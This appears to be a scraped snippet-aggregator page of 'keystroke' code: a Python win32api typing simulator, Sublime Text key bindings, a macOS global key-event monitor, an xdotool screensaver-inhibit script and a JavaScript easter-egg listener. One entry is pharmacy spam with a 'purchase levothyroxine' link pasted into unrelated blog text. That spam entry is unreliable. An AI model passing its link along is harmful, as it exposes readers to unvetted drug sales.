                win32api.keybd_event(VK_CODE['n'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'O':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['o'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['o'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'P':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['p'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['p'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'Q':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['q'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['q'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'R':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['r'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['r'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'S':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['s'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['s'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'T':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['t'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['t'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'U':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['u'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['u'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'V':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['v'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['v'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'W':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['w'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['w'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'X':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['x'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['x'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'Y':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['y'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['y'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'Z':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['z'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['z'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
        
            else:    
                win32api.keybd_event(VK_CODE[i], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE[i],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
    
    
    
    
    
    

    external by Sascha Droste  5750  27  5  0

    Sublime Text keystroke toggle line numbers show/hide

    Sublime Text keystroke toggle line numbers show/hide: keystroke-toggle-linenumbers-settings.json
    {
        "keys": ["ctrl+alt+l"],
        "command": "toggle_setting",
        "args": {
            "setting": "line_numbers"
        }
    
    
    

    external by rotassator  1860  30  3  0

    Sublime Text 3: Key Binding - restore Quick Switch Project keystroke

    Sublime Text 3: Key Binding - restore Quick Switch Project keystroke: Default (Windows).sublime-keymap
    [
    	{ "keys": ["ctrl+alt+p"], "command": "prompt_select_workspace" }
    ]
    
    

    external by elpsk  45  0  1  0

    MAC OSX - Keystroke listener

    MAC OSX - Keystroke listener: OSX - keystroke listener and windows activate
    // listen for keystrokes
    [NSEvent addGlobalMonitorForEventsMatchingMask:NSKeyDownMask handler:^(NSEvent *event)
    {
        NSLog(@"%lui -- %@", (unsigned long)[event modifierFlags], event.characters );
    
        //
        // if flag and char do something, like bring to front the application
        // 256 is ESC, in my case.
        //
        if ( [event modifierFlags] == 256 && [[event charactersIgnoringModifiers] compare:@""] == 0 )
        {
            NSLog(@"-------- IN --------");
            [NSApp activateIgnoringOtherApps:YES];
        }
    }];
    
    
    
    

    external by elFua  22  0  1  0

    Inhibit Linux screensaver while audio is playing by simulating a key stroke every 100 seconds. Uses `xdotool` for keystroke emulation (sudo apt-get install xdotool). Audio detection is based on PulseAudio. For Alsa the script needs to be modified as pe...

    Inhibit Linux screensaver while audio is playing by simulating a key stroke every 100 seconds. Uses `xdotool` for keystroke emulation (sudo apt-get install xdotool). Audio detection is based on PulseAudio. For Alsa the script needs to be modified as per the instructions in the comments.: inhibit-linux-screensaver.sh
    #!/bin/bash
    
    while : 
    do
        sleep 100
        
    #### For ALSA audio ######################################################## 
    #### if [[ ! -z $(grep RUNNING /proc/asound/card*/pcm*/sub*/status) ]] ; then
    
    #### For PULSE AUDIO #######################################################
        if [[ ! -z $(pacmd list-sink-inputs | grep RUNNING) ]] ; then
            echo 'Audio is playing. Inhibiting screensaver'
            nice -n 1 xdotool key shift ;
        else
            echo 'No audio detected'
        fi
        date +%T ## show some sign of life
    done
    
    
    

    external by Github  11  0  1  0

    How much notice do you have to give? <a href=" http://millenniumproductions.com/levothroid-backorder-2013.pdf ">purchase levothyroxine</a> The rest of the time, I &lsquo;hide&rsquo; the email box at a keystroke, so it&rsquo;s not visible on my screen ...

    How much notice do you have to give? purchase levothyroxine The rest of the time, I &lsquo;hide&rsquo; the email box at a keystroke, so it&rsquo;s not visible on my screen to draw me magnetically away from (more important) tasks in hand. But it&rsquo;s still a tyranny. I still miss stuff. Although a while ago I decided to be kind to myself, and al
    How much notice do you have to give? <a href=" http://millenniumproductions.com/levothroid-backorder-2013.pdf ">purchase levothyroxine</a>  The rest of the time, I &lsquo;hide&rsquo; the email box at a keystroke, so it&rsquo;s not visible on my screen to draw me magnetically away from (more important) tasks in hand. But it&rsquo;s still a tyranny. I still miss stuff. Although a while ago I decided to be kind to myself, and allow myself to feel I was handling this modern-day challenge &ndash; now assuming ludicrous proportions &ndash; as well as I could, in the circs, while still attempting to Have A Life. But it&rsquo;s a sad day when &ndash; as happened a couple of years ago &ndash; instead of being furious with a techie who&rsquo;d accidentally deleted every email in my history, I was simply relieved, instead.
     
    
    

    external by bstory32  666  0  3  0

    javascript: keystroke

    javascript: keystroke: gistfile1
    console.log('EASTER EGG');
            var keys = [];
            var thiz= this;
            if (window.addEventListener) {
                window.addEventListener("keydown", function(e){
                    keys.push( e.keyCode );
                    console.log(keys);
                    if(keys.toString().indexOf('72,65,82,76,69,77,83,72,65,75,69') >= 0){
                        console.log('HARLEM SHAKE');
                        keys = [];
                    } else if(keys.toString().indexOf('65,74,65,88') >= 0){
                        Loading.toggle();
                        keys = [];
                    } else if(keys.toString().indexOf('65,74,65,88') >= 0){
                        console.log('=====================================');
                        keys = [];
                    }
    
                }, true);
            }
    
    
    • Public Snippets
    • Channels Snippets